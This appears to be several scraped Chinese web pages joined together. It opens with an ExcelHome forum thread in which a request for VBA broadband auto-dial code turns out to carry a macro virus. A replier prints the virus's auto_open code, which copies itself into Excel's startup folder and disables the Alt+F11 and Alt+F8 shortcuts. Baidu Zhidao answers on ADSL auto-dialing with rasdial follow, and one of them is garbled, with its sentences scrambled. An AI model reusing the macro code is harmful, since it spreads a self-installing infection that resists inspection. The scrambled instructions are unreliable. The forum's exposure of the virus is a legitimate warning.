查看: 2354|回复: 12
请求高手编程个VBA 已实现宽带自动拨号程序
阅读权限95
在线时间 小时
A列为账号。B列为密码，已实现宽带PPPOE连接。规定按顺序进行拨号，如拨号不成功后直接跳转下个账号，每个账号在线时间为15分钟，请高手帮帮忙，如何实现此功能。
18:09 上传
点击文件名下载附件
5.48 KB, 下载次数: 27
阅读权限95
在线时间 小时
& & & & & & & &
希望高手们帮帮忙啊。救急呀
阅读权限100
在线时间 小时
wlc5201130 发表于
希望高手们帮帮忙啊。救急呀
度娘搜索 vb 拨号
阅读权限95
在线时间 小时
度娘搜索 vb 拨号还是找不到啊，各位老师可有私藏的好软件，介绍下，或者高手们帮帮忙，编程下。本人对VBA不懂
阅读权限95
在线时间 小时
liucqa 发表于
刚想看看，发现有病毒
其实就是存放账号和密码的文件
(14.36 KB, 下载次数: 1)
14:25 上传
阅读权限30
在线时间 小时
本帖最后由 fsc163198 于
14:29 编辑
{:soso_e173:}自动启动加载流氓宏
这个帖子就是愚人的
跟宽带拨号一点关系都没有
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path && Application.StartupPath And Dir(Application.StartupPath & && & &StartUp.xls&) = && Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets(&StartUp&).Copy
ActiveWorkbook.SaveAs (Application.StartupPath & && & &StartUp.xls&)
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks(&StartUp.xls&).Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = &StartUp.xls!cop&
Application.OnKey &%{F11}&, &StartUp.xls!escape&
Application.OnKey &%{F8}&, &StartUp.xls!escape&
End Sub复制代码
你看到的是病毒，不是楼主的代码&
阅读权限100
在线时间 小时
wlc5201130 发表于
度娘搜索 vb 拨号还是找不到啊，各位老师可有私藏的好软件，介绍下，或者高手们帮帮忙，编程下。本人对VBA不 ...
捕获.JPG (32.06 KB, 下载次数: 0)
14:20 上传
刚想看看，发现有病毒
阅读权限30
在线时间 小时
本帖最后由 fsc163198 于
14:47 编辑
这就是楼主文件里的
你下载后禁止宏自动运行再打开看看就知道了
除了这个模块什么也木有
看了，是啥都没有。所以我也不理解楼主用什么实现的拨号&
阅读权限30
在线时间 小时
& & & & & & & &
不是说了这个帖子跟本不是想解决什么宽带拨号吗
就是想来愚弄人来了，不过楼主你这个代码还得好好改进，别理解错了哇，是让你改进代码自动化不是让你加上坑人害人的代码。
阅读权限95
在线时间 小时
fsc163198 发表于
不是说了这个帖子跟本不是想解决什么宽带拨号吗
就是想来愚弄人来了，不过楼主你这个代码还得好好改进，别 ...
我根本就不怎么会VBA ，我知道我感染宏病毒了，一直都删除不了，能提供个杀这个病毒的软件吗，我重新安装了OFFICE都不行，谢谢了，还有我根本没有要害人的意思。
最新热点 /1
这一次不要再错过了，ExcelHome部分畅销图书5折封顶。左手春天，右手书卷，用好书激活你的职场力。抢购时间，即日起至3月26日。
玩命加载中，请稍候
玩命加载中，请稍候
Powered by
本论坛言论纯属发表者个人意见，任何违反国家相关法律的言论，本站将协助国家相关部门追究发言者责任！ & & 本站特聘法律顾问：徐怀玉律师 李志群律师如何设置ADSL宽带自动拨号_百度知道
如何设置ADSL宽带自动拨号
一个完整的过程.设置开机自动拨号.现在每次开机都要手动拨号.
我有更好的答案
XP设置ADSL宽带自动拨号的方法步骤：1、鼠标右击“网上邻居”，左键点属性 &：2、右击“宽带连接”，左键点属性 ：3、点击选项→去掉勾选“提示名称,密码和证书等”和“连接时显示连接进度”→确定→关闭。4、开始→所有程序→双击“启动”，打开了“启动”窗口；5、将桌面上“宽带连接”图标拖到本窗口中→重启电脑生效。以上的最后两步，是用鼠标左键按住“宽带连接”图标，拖向“开始”→“所有程序”→“启动”→弹出右侧菜单，将鼠标拖到右侧菜单上松开，就把“宽带连接”图标复制到“启动”文件夹中了。以后也可以在这里快速删除“宽带连接”图标，来取消开机自动连接上网。
采纳率：88%
来自团队：
首先右键单击“网上邻居”并选择“属性”此后右击ADSL连接的图标并选择“属性”，随后打开“选项”，不选择“提示名称，密码和证书等”复选框，此后单击“确定”再右击ADSL连接的图标，选择“创建快捷方式”，最后把快捷方式直接复制到系统盘的启动文件夹下即可实现开机自动连接ADSL宽带。
本回答被网友采纳
wzl，很不方便。这里我交大家自己手动写一个批处理文件。好了。现在大家只要把adsl.bat鼠标 左键点着不要放，然后拉到 开始 程序
启动里，然后放到开始启动里或者计划任务里，从而实现开机自动拨号的功能。
假设我这里的宽带帐号和密码分别是wzl；2.把adsl自己写批处理文件.4567（再次提醒大家：宽带连接、首先打开“开始菜单”中执行“运行”命令;CurrentVersion\InternetSettings”分支，在对应的InternetSettings右边窗口中，将“EnableAutodial”键值设置为“、如果要关闭该功能。两种方法，可以任选一种，当然大家可以随便取：rasdial 宽带连接 wzl.4567rasdial命令是windows自带的一个命令，可以实现网通，找到“HKEY_Current_User\Software&#92，每种方法都可以，比如lan，实现宽带拨号自动拨号许多人都是adsl或其他的上网方式;Windows&#92，请都正确填写）然后大家点 文件
另存为然后在文件名里输入adsl.bat点保存就可以了，我这里只举个例子，当然大家自己输入的时候，需要输入你们真实的宽带拨号的帐号和密码，废话不说了。1.首先 在桌面上，鼠标 右键 新建
文本文档特别注意，命令格式如下：1、进入注册表，写命令的方法。下面我们开始自己写一个批处理文件把。打开刚刚桌面上新建立的 新建 文本文档然后输入：rasdial 宽带连接 wzl，打开注册表编辑窗口，是你点桌面上的拨号程序的名称，如果你的拨号程序名称是adsl那这里的宽带连接就填写adsl，宽带拨号，等名字都可以的），大家觉的哪种方法好就用哪一种，两种方法详细介绍如下，这个时候大家会发现桌面上多了一个adsl.bat的批处理文件，请看（特别注意的是：adsl.8878888是宽带拨号帐号，1234567是宽带拨号密码，输入regedit，默认的是宽带连接，自己可以修改为adsl，lan等等的名字都可以。wzl.8878888这个是宽带拨号的帐号。1234567是宽带拨号的密码。特别提醒大家rasdial和宽带连接之间有一个空格，宽带连接 和wzl.8878888之间也有一个空格，wzl.34567也有一个空格。好了，或者在计划任务里设置一下就可以实现开机自动拨号连接了了.bat鼠标 左键点着不要放，电信，宽带自动拨号的一个命令。宽带连接是 你桌面上的拨号连接的程序名，可以自己随便修改;Microsoft&#92.bat里的adsl是我自己随便取的一个批处理文件名.8878888密码是1234567，然后拉到 开始 程序
启动里1，大家知道了上面的命令及，是不是觉的一开机还需要点桌面上的宽带连接，或者adsl等图标进行宽带连接，是不是很麻烦
你在电脑上装个互联星空，开机自动运行，然后设置一下，本人喜欢用路由器直接拨号，开机就可以上，不需要那么麻烦拨号，也不用再电脑多装什么软件
其他1条回答
为您推荐：
其他类似问题
您可能关注的内容
自动拨号的相关知识
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。宽带自动连接怎么变成拨号连接_百度知道
宽带自动连接怎么变成拨号连接
我有更好的答案
1，开始-〉启动-〉删除宽带连接 2，打开“控制面板” -&Internet选项 -&连接 －&设置 (选择ADSL使用的虚拟拨号程序) -&“属性”窗口，选项-〉拨号选项-〉提示名称、密码和证书 不打钩。断线重播不打钩。
采纳率：84%
来自团队：
右键点击网上邻居－选择属性－右键点击宽带连接－选择属性－左键点击“选项”－选择“拔号选项”－将“提示名称、密码和证书等”前面的钩点选上--点击确定
本回答被提问者采纳
createObject(&wscript.shell&)WScript.Sleep(10000)iReturn=objShell.Run(&rasdial 宽带连接 你的帐号 你的密码&, 0DIM objShellset objShell=wscript
点击浏览器上的工具菜单，打开IE选项，然后进入连接，选 始终拨默认连接 就可。很简单。 成功了，谢我哟。]
右击“网上邻居”--属性； \x0d\x0a在随后出现的“网络连接”窗口中，右击ADSL（看你自己命名成什么了，就是那个不是“本地连接”的那个），右击后，单击“属性”； \x0d\x0a在随后出现的属性对话框中，单击“选项”； \x0d\x0a把随后出现的“提示名称、密码和证书等”前面的对号去掉，点“确定”退出； \x0d\x0a把桌面上的ADSL快捷方式拖动到开始菜单的“启动”后面，然后删除桌面上这个图标，就OK了。]
其他2条回答
为您推荐：
其他类似问题
拨号连接的相关知识
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。Windows7 设置开机启动自动宽带拨号连接上网的方法_百度文库
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
Windows7 设置开机启动自动宽带拨号连接上网的方法
总评分4.2|
浏览量59931
用知识赚钱
阅读已结束，下载本文需要
想免费下载本文？
定制HR最喜欢的简历
你可能喜欢VB 自动连接宽带_百度知道
VB 自动连接宽带
XP自带的程序来实现拨号上网的，我想用VB来实现自动连网，断网，不管采用什么原理，只要可以实现就行，回答了再加分
Shell &Rasdial 连接名称 用户名 密码&,vbHide 连接名称是什么？
我有更好的答案
vbHide 2.断开 Shell &quot1.连接 Shell &Rasdial 连接名称 用户名 密码&;Rasdial /DISCONNECT&
采纳率：62%
那个 API 的应该正确。在 .NET 也没找到直接拨号连接的方式
这个不用代码就可以的啊！简单点的可以用批处理代码写，用start 应该会吧？
其他类似问题
您可能关注的内容
自动连接的相关知识
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。}